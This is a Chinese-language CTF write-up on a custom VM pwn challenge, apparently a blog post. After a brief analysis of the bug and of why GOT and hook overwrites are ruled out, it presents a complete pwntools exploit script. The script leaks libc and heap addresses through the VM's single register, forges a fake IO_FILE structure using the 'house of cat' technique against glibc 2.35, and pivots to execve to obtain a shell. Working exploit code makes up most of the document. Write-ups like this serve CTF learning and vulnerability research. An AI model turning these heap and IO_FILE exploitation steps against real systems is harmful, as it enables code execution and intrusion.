简简单单手搓一个VM-Pwn
鼠鼠也是手搓过VM薯薯的啦
题目分析

未知libc版本,这里按照2.35的Glibc进行操作。 实现的VM只有一个寄存器,但是可以利用unsorted bin残留的libc指针实现任意地址读写。 但是只有一个寄存器有点鸡肋,于是采用栈的方法依次修改。 就是首先把所有操作以及地址存到栈上面,最后通过pop进行各自的读写操作。 由于末尾添加了exit函数,got表不可写(Full RELRO),绕过got进行栈上劫持执行流是不行了。 高版本hook基本都没了 exithook还要位移的运算,但是指令集没有提供,所以这条路没法走。 所以还是乖乖打IO_FILE。这里采用house of cat
Exp
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn4'
#p=remote(' ',)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn4')
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
code=b''
def push_reg():
global code
code+=p64(1)
def pop_reg():
global code
code+=p64(2)
def mov_reg_sp():
global code
code+=p64(3)
def xor_reg_imm(imm):
global code
code+=p64(4)+p64(imm)
def mov_reg_reg():
global code
code+=p64(5)
def add_reg_imm(imm):
global code
code+=p64(6)+p64(imm)
def sub_reg_imm(imm):
global code
code+=p64(7)+p64(imm)
pop_reg()
push_reg()
one=0xebcf1
# tar=0x2190D0
sh=0x1d8698
system=0x50d60
pop_rdi=0x2a3e5
sub_reg_imm(0x000073081c019ce0-0x73081be00000)
# reg=libc_base
def libc_push_libc_addr(off):
add_reg_imm(off)
push_reg()
sub_reg_imm(off)
def libc_get_heap_base():
add_reg_imm(0x7b65704193c0-0x7b6570200000)
mov_reg_reg()
def heap_base_get_libc_base():
add_reg_imm(0x2a0)
mov_reg_reg()
sub_reg_imm(0x00007b6570419ce0-0x7b6570200000)
def libc_push_heap_addr(off):
libc_get_heap_base()
add_reg_imm(off)
push_reg()
sub_reg_imm(off)
heap_base_get_libc_base()
def heap_base_push_heap_addr(off):
add_reg_imm(off)
push_reg()
sub_reg_imm(off)
io_wfile_jumps=0x02160C0
fakeio=0x5bc4242d52d0-0x5bc4242d4000+0x10+0xc00
libc_push_libc_addr(io_wfile_jumps+0x30)# 0xd8
libc_push_heap_addr(fakeio+0xd8)
setcon61=0x053A30+61
libc_push_libc_addr(setcon61)# 0xd8
libc_push_heap_addr(fakeio+0x118+0x18)
libc_push_libc_addr(sh)
libc_push_heap_addr(fakeio+0x138+0x68)
libc_push_libc_addr(0x7b657041b000-0x7b6570200000+0x300)
libc_push_heap_addr(fakeio+0x138+0xa0)
execve=0xeb0f0
libc_push_libc_addr(execve)
libc_push_heap_addr(fakeio+0x138+0xa8)
libc_get_heap_base()
heap_base_push_heap_addr(fakeio+0x138)
heap_base_push_heap_addr(fakeio+0x50)
heap_base_push_heap_addr(fakeio+0x30)
heap_base_push_heap_addr(fakeio+0xa0)
heap_base_push_heap_addr(fakeio+0x118)
heap_base_push_heap_addr(fakeio+0x110)
heap_base_push_heap_addr(fakeio)
heap_base_get_libc_base()
add_reg_imm(0x21A680)
mov_reg_sp()
pop_reg()
for i in range(8):
pop_reg()
mov_reg_sp()
pop_reg()
gdb.attach(p,"b _IO_switch_to_wget_mode")
payload=code.ljust(0xc00-0x10,b'\x00')+p64(0xffffffffffffffff)+p64(0xffffffffffffffff)
payload=payload.ljust(0xc30,b'\x00')+p64(0)*3+p64(1)
payload=payload.ljust(0xc00+0xc0,b'\x00')+p64(1)
p.sendlineafter("Inputs your code:",payload.ljust(0x1000,b'\x00'))
p.interactive()
